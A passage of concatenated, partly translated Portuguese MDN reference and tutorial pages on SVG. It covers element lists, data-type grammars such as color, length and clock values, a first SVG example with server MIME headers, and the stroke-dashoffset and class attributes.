`<feMergeNode>` (en-US)\n* `<feMorphology>` (en-US)\n* `<feOffset>` (en-US)\n* `<fePointLight>` (en-US)\n* `<feSpecularLighting>` (en-US)\n* `<feSpotLight>` (en-US)\n* `<feTile>` (en-US)\n* `<feTurbulence>` (en-US)\n* `<filter>`\n* `<foreignObject>` (en-US)\n### G\n\n* `<g>`\n### H\n\n* `<hatch>`\n* `<hatchpath>`\n### I\n\n* `<image>`\n### L\n\n* `<line>`\n* `<linearGradient>`\n### M\n\n* `<marker>`\n* `<mask>`\n* `<mesh>`\n* `<meshgradient>`\n* `<meshpatch>`\n* `<meshrow>`\n* `<metadata>`\n* `<mpath>`\n### P\n\n* `<path>`\n* `<pattern>`\n* `<polygon>`\n* `<polyline>`\n### R\n\n* `<radialGradient>`\n* `<rect>`\n### S\n\n* `<script>`\n* `<set>`\n* `<stop>`\n* `<style>`\n* `<svg>`\n* `<switch>`\n* `<symbol>`\n### T\n\n* `<text>`\n* `<textPath>`\n* `<title>`\n* `<tspan>`\n### U\n\n* `<unknown>`\n* `<use>`\n### Z\n\n* `<view>`\nElementos SVG por Categoria\n---------------------------\n\n### Elementos de animação\n\n`<animate>`, `<animateColor>`, `<animateMotion>`, `<animateTransform>` , `<discard>`, `<mpath>` , `<set>`### Formas básicas\n\n`<circle>`, `<ellipse>`, `<line>`, `<polygon>`, `<polyline>`, `<rect>`### Elementos \"container\"\n\n`<a>`, `<defs>`, `<g>`, `<marker>`, `<mask>`, `<missing-glyph>`, `<pattern>`, `<svg>`, `<switch>`, `<symbol>`, `<unknown>`### Elementos descritivos\n\n`<desc>`, `<metadata>`, `<title>`### Elementos de filtro simples\n\n`<feBlend>` (en-US), `<feColorMatrix>` (en-US), `<feComponentTransfer>` (en-US), `<feComposite>` (en-US), `<feConvolveMatrix>` (en-US), `<feDiffuseLighting>` (en-US), `<feDisplacementMap>` (en-US) , `<feDropShadow>` (en-US), `<feFlood>` (en-US), `<feFuncA>` (en-US), `<feFuncB>` (en-US), `<feFuncG>` (en-US), `<feFuncR>` (en-US), `<feGaussianBlur>` (en-US), `<feImage>` (en-US), `<feMerge>` (en-US) , `<feMergeNode>` (en-US), `<feMorphology>` (en-US), `<feOffset>` (en-US), `<feSpecularLighting>` (en-US), `<feTile>` (en-US), `<feTurbulence>` (en-US)### Elementos de fonte\n\n`<font>` (en-US), `<font-face>` (en-US), `<font-face-format>` (en-US), `<font-face-name>` (en-US), `<font-face-src>` (en-US), `<font-face-uri>` (en-US), `<hkern>`, `<vkern>`### Elementos de gradiente\n\n`<linearGradient>` , `<meshgradient>`, `<radialGradient>`, `<stop>`### Elementos gráficos\n\n`<circle>`, `<ellipse>`, `<image>`, `<line>` , `<mesh>`, `<path>`, `<polygon>`, `<polyline>`, `<rect>`, `<text>`, `<use>`### Elementos gráficos de referência\n\n`<mesh>`, `<use>`### Elementos de iluminação\n\n`<feDistantLight>` (en-US), `<fePointLight>` (en-US), `<feSpotLight>` (en-US)### Elementos nunca renderizados\n\n`<clipPath>` (en-US), `<defs>`, `<hatch>`, `<linearGradient>`, `<marker>`, `<mask>`, `<meshgradient>`, `<metadata>`, `<pattern>`, `<radialGradient>`, `<script>`, `<style>`, `<symbol>`, `<title>`### Elementos para pintura\n\n`<hatch>`, `<linearGradient>`, `<meshgradient>`, `<pattern>`, `<radialGradient>`, `<solidcolor>`### Elementos renderizáveis\n\n`<a>`, `<circle>`, `<ellipse>`, `<foreignObject>` (en-US), `<g>`, `<image>`, `<line>`, `<mesh>`, `<path>`, `<polygon>`, `<polyline>`, `<rect>`, `<svg>`, `<switch>`, `<symbol>`, `<text>`, `<textPath>`, `<tspan>`, `<unknown>`, `<use>`### Elementos de forma\n\n`<circle>`, `<ellipse>`, `<line>`, `<mesh>`, `<path>`, `<polygon>`, `<polyline>`, `<rect>`### Elementos estruturais\n\n`<defs>`, `<g>`, `<svg>`, `<symbol>`, `<use>`### Elementos de conteúdo textual\n\n`<altGlyph>`, `<altGlyphDef>`, `<altGlyphItem>`, `<glyph>`, `<glyphRef>`, `<textPath>`, `<text>`, `<tref>`, `<tspan>`### Elementos filho de conteúdo textual\n\n`<altGlyph>`, `<textPath>`, `<tref>`, `<tspan>`### Elementos sem categoria\n\n`<clipPath>` (en-US), `<color-profile>`, `<cursor>` (en-US), `<filter>`, `<foreignObject>` (en-US), `<hatchpath>`, `<meshpatch>`, `<meshrow>`, `<script>`, `<style>`, `<view>`Elementos obsoletos e descontinuados\n------------------------------------\n\n**Aviso:** Aviso: Esses são elementos SVG antigos que foram descontinuados e não devem ser usados. Você nunca deve usá-los em novos projetos e deve susbstituí-los em projetos antigos o mais rápido possível. Eles estão listados aqui apenas para fins informativos.\n\n### A\n\n`<altGlyph>`, `<altGlyphDef>`, `<altGlyphItem>`, `<animateColor>`### C\n\n`<cursor>` (en-US)### F\n\n`<font>` (en-US), `<font-face>` (en-US), `<font-face-format>` (en-US), `<font-face-name>` (en-US), `<font-face-src>` (en-US), `<font-face-uri>` (en-US)### G\n\n`<glyph>`, `<glyphRef>`### H\n\n`<hkern>`### M\n\n`<missing-glyph>`### T\n\n`<tref>`### V\n\n`<vkern>`Veja também\n-----------\n\n* Referência de atributos SVG\n* SVG Tutorial\n* SVG interface reference"}
{"title":"Content type - SVG: Gráficos Vetoriais Escaláveis","text":"Content type\n============\n\nAngle\n-----\n\n<angle>\n\nAngles are specified in one of two ways. When used in the value of a property in a stylesheet, an <angle> is defined as follows:\n```\n\nangle ::= number (~\"deg\" | ~\"grad\" | ~\"rad\")?\n```\n\n\nwhere deg indicates degrees, grad indicates grads and rad indicates radians.\n\nFor properties defined in CSS2, an angle unit identifier must be provided. For angle values in SVG-specific properties and their corresponding presentation attributes, the angle unit identifier is optional. If not provided, the angle value is assumed to be in degrees. In presentation attributes for all properties, whether defined in SVG1.1 or in CSS2, the angle identifier, if specified, must be in lower case.\n\nWhen angles are used in an SVG attribute, <angle> is instead defined as follows:\n```\n\nangle ::= number (\"deg\" | \"grad\" | \"rad\")?\n```\n\n\nThe unit identifiers in such <angle> values must be in lower case.\n\nIn the SVG DOM, <angle> values are represented using `SVGAngle` (en-US) or `SVGAnimatedAngle objects`.\n\nAnything\n--------\n\n<anything>\n\nO tipo básico <anything> é uma sequência de zero ou mais caracteres. Especificamente:\n```\n\nanything ::= Char*\n```\n\n\nonde Char é a produção de um caractere, como definido no XML 1.0 , seção 2.2).\n\nClock-value\n-----------\n\n<clock-value>\n\nClock values have the same syntax as in SMIL Animation specification. The grammar for clock values is repeated here:\n```\n\nClock-val         ::= Full-clock-val | Partial-clock-val\n                      | Timecount-val\nFull-clock-val    ::= Hours \":\" Minutes \":\" Seconds (\".\" Fraction)?\nPartial-clock-val ::= Minutes \":\" Seconds (\".\" Fraction)?\nTimecount-val     ::= Timecount (\".\" Fraction)? (Metric)?\nMetric            ::= \"h\" | \"min\" | \"s\" | \"ms\"\nHours             ::= DIGIT+; any positive number\nMinutes           ::= 2DIGIT; range from 00 to 59\nSeconds           ::= 2DIGIT; range from 00 to 59\nFraction          ::= DIGIT+\nTimecount         ::= DIGIT+\n2DIGIT            ::= DIGIT DIGIT\nDIGIT             ::= [0-9]\n```\n\n\nFor `Timecount` values, the default metric suffix is \"s\" (for seconds). No embedded white space is allowed in clock values, although leading and trailing white space characters will be ignored.\n\nThe following are examples of legal clock values:\n\n* Full clock values:\n `02:30:03` = 2 hours, 30 minutes and 3 seconds\n `50:00:10.25` = 50 hours, 10 seconds and 250 milliseconds\n* Partial clock value:\n `02:33` = 2 minutes and 33 seconds\n `00:10.5` = 10.5 seconds = 10 seconds and 500 milliseconds\n* Timecount values:\n `3.2h` = 3.2 hours = 3 hours and 12 minutes\n `45min` = 45 minutes\n `30s` = 30 seconds\n `5ms` = 5 milliseconds\n `12.467` = 12 seconds and 467 milliseconds\n\nFractional values are just (base 10) floating point definitions of seconds. Thus:\n\n`00.5s = 500 milliseconds 00:00.005 = 5 milliseconds`\n\nColor\n-----\n\n<color>\n\nThe basic type <color> is a CSS2 compatible specification for a color in the sRGB color space. <color> applies to SVG's use of the `color (en-US)` attribute and is a component of the definitions of attributes `fill`, `stroke (en-US)`, `stop-color (en-US)`, `flood-color (en-US)` and `lighting-color (en-US)`, which also offer optional ICC-based color specifications.\n\nSVG supports all of the syntax alternatives for <color> defined in CSS2 syntax and basic data types, and (depend on the implementation) in the future CSS Color Module Level 3.\n\nA <color> is either a keyword or a numerical RGB specification.\n\nIn addition to these color keywords, users may specify keywords that correspond to the colors used by objects in the user's environment. The normative definition of these keywords is found in User preferences for colors (CSS2, section 18.2).\n\nThe format of an RGB value in hexadecimal notation is a \"#\" immediately followed by either three or six hexadecimal characters. The three-digit RGB notation (#rgb) is converted into six-digit form (#rrggbb) by replicating digits, not by adding zeros. For example, `#fb0` expands to `#ffbb00`. This ensures that white (`#ffffff`) can be specified with the short notation (`#fff`) and removes any dependencies on the color depth of the display. The format of an RGB value in the functional notation is an RGB start-function followed by a comma-separated list of three numerical values (either three integer values or three percentage values) followed by \")\". An RGB start-function is the case-insensitive string \"rgb(\", for example \"RGB(\" or \"rGb(\". For compatibility, the all-lowercase form \"rgb(\" is preferred. The integer value 255 corresponds to 100%, and to F or FF in the hexadecimal notation: `rgb(255,255,255)` = `rgb(100%,100%,100%)` = `#FFF`. White space characters are allowed around the numerical values. All RGB colors are specified in the sRGB color space. Using sRGB provides an unambiguous and objectively measurable definition of the color, which can be related to international standards.\n```\n\ncolor    ::= \"#\" hexdigit hexdigit hexdigit (hexdigit hexdigit hexdigit)?\n             | \"rgb(\"integer, integer, integer\")\"\n             | \"rgb(\"integer \"%\", integer \"%\", integer \"%)\"\n             | color-keyword\nhexdigit ::= [0-9A-Fa-f]\n```\n\n\nwhere `color-keyword` matches (case insensitively) one of the color keywords listed in CSS Color Module Level 3, or one of the system color keywords listed in User preferences for colors (CSS2, section 18.2).\n\nThe corresponding SVG DOM interface definitions for <color> are defined the one defined by CSS. SVG's extension to color, including the ability to specify ICC-based colors, are represented using DOM interface `SVGColor`.\n\nCoordinate\n----------\n\n<coordinate>\n\nA <coordinate> is a length in the user coordinate system that is the given distance from the origin of the user coordinate system along the relevant axis (the x-axis for X coordinates, the y-axis for Y coordinates). Its syntax is the same as that for <length> (en-US).\n\nWithin the SVG DOM, a <coordinate> is represented as an `SVGLength` (en-US) or an `SVGAnimatedLength` (en-US).\n\nFrequency\n---------\n\n<frequency>\n\nFrequency values are used with aural properties. As defined in CSS2, a frequency value is a <number> (en-US) immediately followed by a frequency unit identifier. The frequency unit identifiers are:\n\n* `Hz`: Hertz\n* `kHz`: kilo Hertz\n\nFrequency values may not be negative.\n\nFuncIRI\n-------\n\n<FuncIRI>\n\nNotação funcional para uma referência, a sintaxe para esta referência é a mesma que `CSS URI` (en-US)\n\nICCColor\n--------\n\n<icccolor>\n\nAn <icccolor> is an ICC color specification. In SVG 1.1, an ICC color specification is given by a name, which references a `<color-profile>` element, and one or more color component values. The grammar is as follows:\n```\n\nicccolor ::= \"icc-color(\" name (, number)+ \")\"\n```\n\n\nThe corresponding SVG DOM interface for <icccolor> is `SVGICCColor`.\n\nInteger\n-------\n\n<integer>\n\nAn <integer> is specified as an optional sign character (\"+\" or \"-\") followed by one or more digits \"0\" to \"9\":\n```\n\ninteger ::= [+-]? [0-9]+\n```\n\n\nIf the sign character is not present, the number is non-negative.\n\nUnless stated otherwise for a particular attribute or property, the range for an <integer> encompasses (at a minimum) -2147483648 to 2147483647.\n\nWithin the SVG DOM, an <integer> is represented as a `number` or an `SVGAnimatedInteger` (en-US).\n\nIRI\n---\n\n<IRI>\n\nAn Internationalized Resource Identifier.\n\nOn the Internet, resources are identified using \\_IRI\\_s (Internationalized Resource Identifiers). For example, an SVG file called someDrawing.svg located at `http://example.com` might have the following *IRI*:\n```\n\nhttp://example.com/someDrawing.svg\n```\n\n\nAn *IRI* can also address a particular element within an XML document by including an *IRI* fragment identifier as part of the *IRI*. An *IRI* which includes an *IRI* fragment identifier consists of an optional base *IRI*, followed by a \"#\" character, followed by the *IRI* fragment identifier. For example, the following *IRI* can be used to specify the element whose ID is \"Lamppost\" within file someDrawing.svg:\n```\n\nhttp://example.com/someDrawing.svg#Lamppost\n```\n\n\n\\_IRI\\_s are used in the `xlink:href (en-US)` attribute. Some attributes allow both *IRIs* and text strings as content. To disambiguate a text string from a relative IRI, the functional notation <FuncIRI> is used. This is simply an *IRI* delimited with a functional notation. Note: For historical reasons, the delimiters are \"url(\" and \")\", for compatibility with the CSS specifications. The *FuncIRI* form is used in presentation attributes .\n\nSVG makes extensive use of *IRI* references, both absolute and relative, to other objects. For example, to fill a rectangle with a linear gradient, you first define a `<linearGradient>` element and give it an ID, as in:\n```\n\n<linearGradient xml:id=\"MyGradient\">...</linearGradient>\n```\n\n\nYou then reference the linear gradient as the value of the `fill` attribute for the rectangle, as in the following example:\n```\n\n<rect fill=\"url(#MyGradient)\"/>\n```\n\n\nSVG supports two types of *IRI* references:\n\n* local *IRI* references, where the IRI reference does not contain an `<absoluteIRI>` or `<relativeIRI>` and thus only contains a fragment identifier (i.e., `#<elementID>` or `#xpointer(id<elementID>)`)\n* non-local *IRI* references, where the *IRI* reference does contain an `<absoluteIRI>` or `<relativeIRI>`\n\nFor the full specification of IRI references in SVG, see SVG 1.1 (2nd Edition): IRI references.\n\nLength\n------\n\n<length>\n\nA length is a distance measurement, given as a number along with a unit. Lengths are specified in one of two ways. When used in a stylesheet, a <length> is defined as follows:\n```\n\nlength ::= number (~\"em\" | ~\"ex\" | ~\"px\" | ~\"in\" | ~\"cm\" | ~\"mm\" | ~\"pt\" | ~\"pc\")?\n```\n\n\nSee the CSS2 specification for the meanings of the unit identifiers.\n\nFor properties defined in CSS2, a length unit identifier must be provided. For length values in SVG-specific properties and their corresponding presentation attributes, the length unit identifier is optional. If not provided, the length value represents a distance in the current user coordinate system. In presentation attributes for all properties, whether defined in SVG1.1 or in CSS2, the length identifier, if specified, must be in lower case.\n\nWhen lengths are used in an SVG attribute, a <length> is instead defined as follows:\n```\n\nlength ::= number (\"em\" | \"ex\" | \"px\" | \"in\" | \"cm\" | \"mm\" | \"pt\" | \"pc\" | \"%\")?\n```\n\n\nThe unit identifiers in such <length> values must be in lower case.\n\nNote that the non-property <length> definition also allows a percentage unit identifier. The meaning of a percentage length value depends on the attribute for which the percentage length value has been specified. Two common cases are:\n\n* when a percentage length value represents a percentage of the viewport width or height\n* when a percentage length value represents a percentage of the bounding box width or height on a given object.\n\nIn the SVG DOM, <length> values are represented using `SVGLength` (en-US) or `SVGAnimatedLength` (en-US) objects.\n\nList-of-\\_T\\_s\n--------------\n\n<list-of-\\_T\\_s>\n\n(Quando *T* é algum tipo.) Uma lista constituida por uma sequência de valores separados. A não ser que esteja descrito explicitamente de maneira diferente, as listas de atributos XML dentro do SVG podem ser separados por vírgula ou por espaços em branco.\n\nO espaço em branco nas listas é definido como um ou mais dos seguintes caracteres consecutivos: \"espaço\" (U + 0020), \"tab\" (U + 0009), \"line feed\" (U + 000A), \"retorno\" (U + 000D) e \"form-feed\" (U + 000C).\n\nAbaixo tem um modelo para uma gramática EBNF descrevendo a sintaxe da <list-of-\\_T\\_s>:\n```\n\nlist-of-Ts ::= T\n               | T, list-of-Ts\n```\n\n\nDentro do DOM do SVG, os tipo de valores da <list-of-\\_T\\_s> são representados por uma interface específica para o tipo particular T. Por exemplo, uma <list-of-lengths> é representada no DOM do SVG utilizando um objeto `SVGLengthList` (en-US) ou `SVGAnimatedLengthList` (en-US).\n\nName\n----\n\n<name>\n\nUm nome, que é uma string, onde alguns personagens de importância sintática não são suportados.\n```\n\nname  ::= [^,()#x20#x9#xD#xA] /* qualquer caractere exceto \",\", \"(\", \")\" ou espaço em branco */\n```\n\n\nNumber\n------\n\n<number>\n\nReal numbers are specified in one of two ways. When used in a stylesheet, a <number> is defined as follows:\n```\n\nnumber ::= integer\n           | [+-]? [0-9]* \".\" [0-9]+\n```\n\n\nThis syntax is the same as the definition in CSS (CSS2, section 4.3.1).\n\nWhen used in an SVG attribute, a <number> is defined differently, to allow numbers with large magnitudes to be specified more concisely:\n```\n\nnumber ::= integer ([Ee] integer)?\n           | [+-]? [0-9]* \".\" [0-9]+ ([Ee] integer)?\n```\n\n\nWithin the SVG DOM, a <number> is represented as a float, `SVGNumber` (en-US) or a `SVGAnimatedNumber` (en-US).\n\nNumber-optional-number\n----------------------\n\n<number-optional-number>\n\nA pair of <number>s, where the second <number> is optional.\n```\n\nnumber-optional-number ::= number\n                           | number, number\n```\n\n\nIn the SVG DOM, a <number-optional-number> is represented using a pair of `SVGAnimatedInteger` (en-US) or `SVGAnimatedNumber` (en-US) objects.\n\nOpacity value\n-------------\n\n<opacity-value>\n\nA opacidade da cor ou do conteúdo do objeto atual é preenchida através de um <number> (en-US). Quaisquer valores fora da faixa de 0.0 (totalmente transparente) a 1.0 (totalmente opaco) será ajustada para este intervalo.\n\nPaint\n-----\n\n<paint>\n\nOs valores das propriedades `fill` e `stroke (en-US)` são especificações do tipo de pintura a ser utilizada quando o preenchimento ou acariciando um determinado elemento gráfico. As opções disponíveis e sintaxe para <paint> estão descritos na especificação de pintura.\n\nDentro do DOM do SVG, os valores do <paint> são representados usando objetos `SVGPaint`.\n\nPercentage\n----------\n\n<percentage>\n\nPercentages are specified as a number followed by a \"%\" character:\n```\n\npercentage ::= number \"%\"\n```\n\n\nNote that the definition of <number> depends on whether the percentage is specified in a stylesheet or in an attribute that is not also a presentation attribute.\n\nPercentage values are always relative to another value, for example a length. Each attribute or property that allows percentages also defines the reference distance measurement to which the percentage refers.\n\nWithin the SVG DOM, a <percentage> is represented using an `SVGNumber` (en-US) or `SVGAnimatedNumber` (en-US) object.\n\nTime\n----\n\n<time>\n\nO valor de tempo é um <number> imediatamente seguida por um indentificador de unidade de tempo. Os indicadores de unidade de tempo são:\n\n* ms: milisegundos\n* s: segundos\n\nTransform-list\n--------------\n\n<transform-list>\n\nA <transform-list> é utilizado para especificar uma lista de transformações das coordenadas do sistema. A descrição detalhada dos valores possíveis para a <transform-list> é dada no `transform (en-US)` atribuir definição.\n\nDentro do DOM do SVG, o valor <transform-list> é representado usando um objeto `SVGTransformList` (en-US) ou `SVGAnimatedTransformList` (en-US)."}
{"title":"Primeiros passos - SVG: Gráficos Vetoriais Escaláveis","text":"Primeiros passos\n================\n\n* « Previous (en-US)\n* Next » (en-US)\nUm Exemplo Simples\n------------------\n\nVamos mergulhar direto com um exemplo simples. Dê uma olhada no código a seguir.\n\n\n```xml\n<svg version=\"1.1\"\n baseProfile=\"full\"\n width=\"300\" height=\"200\"\n xmlns=\"http://www.w3.org/2000/svg\">\n\n  <rect width=\"100%\" height=\"100%\" fill=\"red\" />\n\n  <circle cx=\"150\" cy=\"100\" r=\"80\" fill=\"green\" />\n\n  <text x=\"150\" y=\"125\" font-size=\"60\" text-anchor=\"middle\" fill=\"white\">SVG</text>\n\n</svg>\n```\n\n\nCopie o código e salve-o como demo1.svg. Em seguida, abra-o no Firefox. Você o verá como visto na figura a seguir. (Usuários do Firefox: clique aqui)\n\n![Fundo vermelho composto por um círculo verde centralizado. O texto branco centralizado dentro do círculo é SVG.](/pt-BR/docs/Web/SVG/Tutorial/Getting_Started/svgdemo1.png)\n\nO processo de renderização inclui o seguinte:\n\n1. Começamos com o elemento raiz do `svg`:\n    * A declaração doctype conhecida em (X)HTML deve ser deixada de lado porque a validação SVG baseada em DTD leva a mais problemas do que resolve.\n    * Antes do SVG 2, para identificar a versão do SVG para outros tipos de validação, os atributos `version`e `baseProfile` deveriam sempre ser usados. Ambos os atributos `version`e `baseProfile`estão obsoletos no SVG 2.\n    * Como um dialeto XML, o SVG deve sempre vincular os namespaces corretamente (no atributo xmlns). Consulte a página Curso intensivo de namespaces para obter mais informações.\n2. O fundo é definido como vermelho desenhando um retângulo `<rect>` que cobre toda a área da imagem.\n3. Um círculo verde `<circle>`com raio de 80px é desenhado no centro do retângulo vermelho (centro do círculo deslocado 150px para a direita e 100px para baixo a partir do canto superior esquerdo).\n4. O texto \"SVG\" é desenhado. O interior de cada letra é preenchido com branco. O texto é posicionado definindo uma âncora onde queremos que fique o ponto médio: neste caso, o ponto médio deve corresponder ao centro do círculo verde. Ajustes finos podem ser feitos no tamanho da fonte e na posição vertical para garantir que o resultado final seja esteticamente agradável.\nPropriedades básicas de arquivos SVG\n------------------------------------\n\n* A primeira coisa a levar em conta é a ordem de representação dos elementos. A regra globalmente válida para arquivos SVG é que os elementos subsequentes sejam renderizados sobre os anteriores. Quanto mais baixo for um elemento, mais visível ele será.\n* Na web, os arquivos SVG podem ser exibidos diretamente no navegador ou incorporados em arquivos HTML usando vários métodos:\n    + Se o HTML for XHTML e entregue como application/xhtml+xml, o SVG poderá ser incorporado diretamente na fonte XML.\n    + O SVG também pode ser incorporado diretamente no HTML.\n    + Pode ser usado com o elemento `<img>`\n    + O arquivo SVG pode ser referenciado com um elemento `object`:\n     html\n    ```html\n    <object data=\"image.svg\" type=\"image/svg+xml\" />\n    \n    ```\n    + Também podem ser usados ​​com um elemento `iframe`:\n     html\n    ```html\n    <iframe src=\"image.svg\"></iframe>\n    \n    ```\n    + Finalmente, o SVG pode ser criado dinamicamente com JavaScript e injetado no HTML DOM.\n* O manuseio de tamanhos e unidades em SVG será explicado na próxima página\nTipos de arquivo SVG\n--------------------\n\nOs arquivos SVG são de dois tipos. Arquivos SVG regulares, que são arquivos de texto simples que contêm marcações SVG e têm a extensão recomendada \".svg\" (todas em letras minúsculas).\n\nDevido ao enorme tamanho que os arquivos SVG podem atingir quando usados ​​para algumas aplicações (por exemplo, aplicações geográficas), a especificação SVG também permite arquivos SVG compactados com gzip. A extensão recomendada para esses arquivos é \".svgz\" (todas em letras minúsculas). Infelizmente, é muito problemático fazer com que arquivos SVG compactados funcionem de maneira confiável em todos os agentes de usuário habilitados para SVG quando servidos a partir de um servidor Microsoft IIS, e o Firefox não pode carregar SVGs compactados do computador local. Evite arquivos SVG compactados, exceto ao publicá-los em um servidor web que você sabe que os servirá corretamente (veja abaixo).\n\nAlgumas palavras sobre servidores web para arquivos .svgz\n---------------------------------------------------------\n\nAgora que sabemos como criar arquivos SVG básicos, o próximo passo é carregá-los em um servidor web. No entanto, existem alguns problemas nesta fase. Para arquivos SVG regulares, os servidores devem enviar o cabeçalho HTTP:\n\n\n```http\nContent-Type: image/svg+xml\nVary: Accept-Encoding\n```\n\n\nPara arquivos SVG compactados, os servidores devem enviar cabeçalhos HTTP:\n\n\n```http\nContent-Type: image/svg+xml\nContent-Encoding: gzip\nVary: Accept-Encoding\n```\n\n\nVocê pode verificar se o seu servidor está enviando os cabeçalhos HTTP corretos com seus arquivos SVG usando o painel Network Monitor ou um site como websniffer.cc. Envie a URL dos seus dois arquivos SVG e observe os cabeçalhos de resposta HTTP. Se você descobrir que seu servidor não está enviando os cabeçotes de dados com os valores fornecidos acima, entre em contato com seu host. Se você estiver tendo problemas para convencê-los a configurar corretamente seus servidores para SVG, pode haver maneiras de fazer isso. Consulte a página de configuração do servidor em w3.org para uma variedade de soluções simples.\n\nA configuração incorreta do servidor é um motivo muito comum para o SVG não carregar, portanto, verifique a sua. Se o seu servidor não estiver configurado para enviar os cabeçalhos corretos com os arquivos SVG que está servindo, o Firefox provavelmente marcará os arquivos como texto ou lixo codificado, ou até mesmo pedirá ao usuário que escolha um aplicativo para abri-los.\n\n* « Previous (en-US)\n* Next » (en-US)"}
{"title":"Introdução - SVG: Gráficos Vetoriais Escaláveis","text":"Introdução\n==========\n\n* « Previous\n* Next »\n\n![](/pt-BR/docs/Web/SVG/Tutorial/Introduction/svg_overview.png)SVG é uma linguagem XML, similar ao XHTML, na qual pode ser usada para desenhar vetores gráficos (imagens), como os mostrados à direita. Ela pode ser usada para criar uma imagem qualquer especificando todas as linhas e formas necessárias, para modificar uma imagem raster já existente ou fazer ambas as opções. A imagem e seus componentes também podem ser transformados, compostas em conjunto, ou filtradas para mudar completamente sua aparência.\n\nSVG surgiu em 1999 após vários outros formatos terem sido submetidos à W3C e não terem sido totalmente ratificados. Enquanto a especificação tem levado um bom tempo, a aceitação pelos navegadores têm sido lenta, e não há tanto conteúdo sobre SVG sendo utilizado na internet neste momento (2009). Even the implementations that are available often are not as fast as competing technologies like HTML5 Canvas or Adobe Flash as a full application interface. SVG does offer benefits over both implementations, some of which include having a DOM interface available for it, and not requiring third-party extensions. Whether or not to use it often depends on your specific use case.\n\n### Ingredientes Básicos\n\nO HTML fornece elementos para definir cabeçalhos, parágrafos, tabelas e assim por diante. Da mesma forma, o SVG fornnece elementos para circulos,retangulos e curvas simples e complexas. Um documentos simples de SVG consiste de nada mais do que um elemento-raiz `<svg>` e várias formas básicas que juntas constroem um gráfico. Há também o elemento `<g>`, que é utilizado para agrupar várias formas básicas.\n\nComeçando daqui, o SVG em imagem pode se tornar arbitrariamente complexo. SVG suporta gradientes, rotação, filtros, efeitos, animações, interatividade com JavaScript e assim por diante. Mas todas essas ferramentas extras da linguagem dependem desse conjunto relativamente pequeno de elementos para definir a área gráfica.\n\n### Antes de você começar\n\nHá muitos softwares disponíveis como o Inkscape os quais são gratuitos e usam SVG como seus formatos de arquivos padrão. Entretanto, este tutorial dependerá apenas do XML ou do editor de texto da sua escolha. A ideia é ensinar o funcionamento interno do SVG para aqueles que desejam entendê-lo, e a melhor forma é \"pondo a mão na masssa\", escrevendo algumas marcações. Contudo você deve anotar o seu objetivo. Nenhum dos visualizadores SVG são iguais, então, há uma boa chance de você desenvolver para um aplicativo não será exibido exatamente da mesma forma que em outros, simplesmente porque eles suportam diferentes níveis da especificação SVG ou outra especificação que você está usando junto com o SVG (isto é, JavaScript ou CSS).\n\nSVG é suportado em todos os browsers modernos em cobre algumas versões anteriores em alguns casos. Uma tabela completa de compatibilidade com browser pode ser encontrada em Can I use. O Firefox suporta alguns conteúdos SVG desde a versão 1.5, e este suporte vem crescendo a cada lançamento desde então. Espero, que com essa tradução aqui, o MDN possa ajudar os desenvolvedores a acompanhar as diferenças entre o Gecko e algumas das outras importantes implementações.\n\n* O XML é case-sensitive (diferencia maiúsculas e minúsculas, diferentemente do HTML), ou seja, todos os exemplos devem ser escritos exatamente como mostrado aqui.\n* Valores de atributos, mesmo que estes sejam números, devem ser colocados dentro de aspas.\n\nSVG é uma especificação imensa. Este tutorial combre apenas o conteúdo básico. Uma vez que você se familiarizar você estará habilitado a usar o Element Reference e o Interface Reference (en-US) para encontrar qualquer outra coisa que precisa saber.\n\n### Sabores do SVG\n\nDesde que se tornou uma recomendação em 2003, a mais recente Versão SVG completa é 1.1. Ele se baseia SVG 1.0, mas adiciona mais modularização para facilitar a implementação. The second edition of SVG 1.1 tournouse uma recomendação em 2011. O SVG 1.2 completo deveria se tornar o próximo grande lançamento. Ele foi descartado para o próximo lançamento SVG 2.0, o qual está sob forte desenvolvimento agora e segue uma abordagem semelhante ao CSS 3, que divide pois divide componentes em várias especificações fracamente acopladas.\n\nAlém das recomendações completas do SVG, o grupo de trabalho do W3C introduziu o SVG Tiny e o SVG Basic em 2003. Esses dois perfis são voltados principalmente para dispositivos móveis. O primeiro, SVG Tiny, deve render primitivos gráficos para pequenos dispositivos com baixa capacidade. O SVG Basic oferece muitos recursos de SVG completo, mas não inclui aqueles que são difíceis de implementar ou pesados para renderizar (como animações). Em 2008, o SVG Tiny 1.2 tornou-se uma recomendação do W3C.\n\nHavia planos para uma especificação de impressão SVG, que adicionaria suporte a várias páginas e gerenciamento de cores aprimorado. Este trabalho foi descontinuado.\n\n* « Previous\n* Next »"}
{"title":"stroke-dashoffset - SVG: Gráficos Vetoriais Escaláveis","text":"stroke-dashoffset\n=================\n\n« SVG Attribute reference home\n\nO atributo `stroke-dashoffset` especifica a distância entre o inicio traço e o fim.\n\nSe a <percentage> for usada, o valor representará a porcentagem do viewport atual.\n\nO valor pode ser negativo.\n\nContexto de uso\n---------------\n\n| Categorias | Atributo de Apresentação |\n| --- | --- |\n| Value | <percentage> | <length> | inherit |\n| Valor inicial | 0 |\n| Animação | Sim |\n| Documento Normativo | SVG 1.1 (2nd Edition) |\n\nElementos\n---------\n\nOs seguintes elementos podem utilizar o atributo `stroke-dashoffset`\n\n* Shape elements »\n* Text content elements »"}
{"title":"class - SVG: Gráficos Vetoriais Escaláveis","text":"class\n=====\n\n« Página inicial da referência de atributos do SVG\n\nAtribui um nome de classe ou um conjunto de nomes de classe a um elemento. Você pode atribuir o mesmo nome ou nomes de classe para qualquer número de elementos. Se você especificar vários nomes de classe, estes devem ser separados por caracteres de espaço em branco.\n\nO nome de classe de um elemento tem duas funções principais:\n\n* Como um seletor de folha de estilo, para a utilização quando um autor quiser atribuir informações de estilo a um conjunto de elementos.\n* Para utilizações gerais do navegador.\n\nA classe pode ser utilizada pra estilizar o conteúdo do SVG com CSS.\n\nUtilização\n----------\n\n| Categorias | Nenhuma |\n| --- | --- |\n| Valor | <list-of-class-names> |\n| Animável | Sim |\n| Documento normativo | SVG 1.1 (2ª Edição): O atributo class |\n\n{{ page(\"/pt-BR/SVG/Content\\_type\",\"List-of-Ts\") }}Exemplo\n-------\n\n\n```html\n<html>\n  <body>\n    <svg\n width=\"120\"\n height=\"220\"\n viewPort=\"0 0 120 120\"\n version=\"1.1\"\n xmlns=\"https://www.w3.org/2000/svg\">\n      <style type=\"text/css\">\n <![CDATA[\n\n rect.rectClass {\n stroke: #000066;\n fill: #00cc00;\n }\n circle.circleClass {\n stroke: #006600;\n fill: #cc0000;\n }\n\n ]]>\n </style>\n\n      <rect class=\"rectClass\" x=\"10\" y=\"10\" width=\"100\" height=\"100\" />\n      <circle class=\"circleClass\" cx=\"40\" cy=\"50\" r=\"26\" />\n    </svg>\n  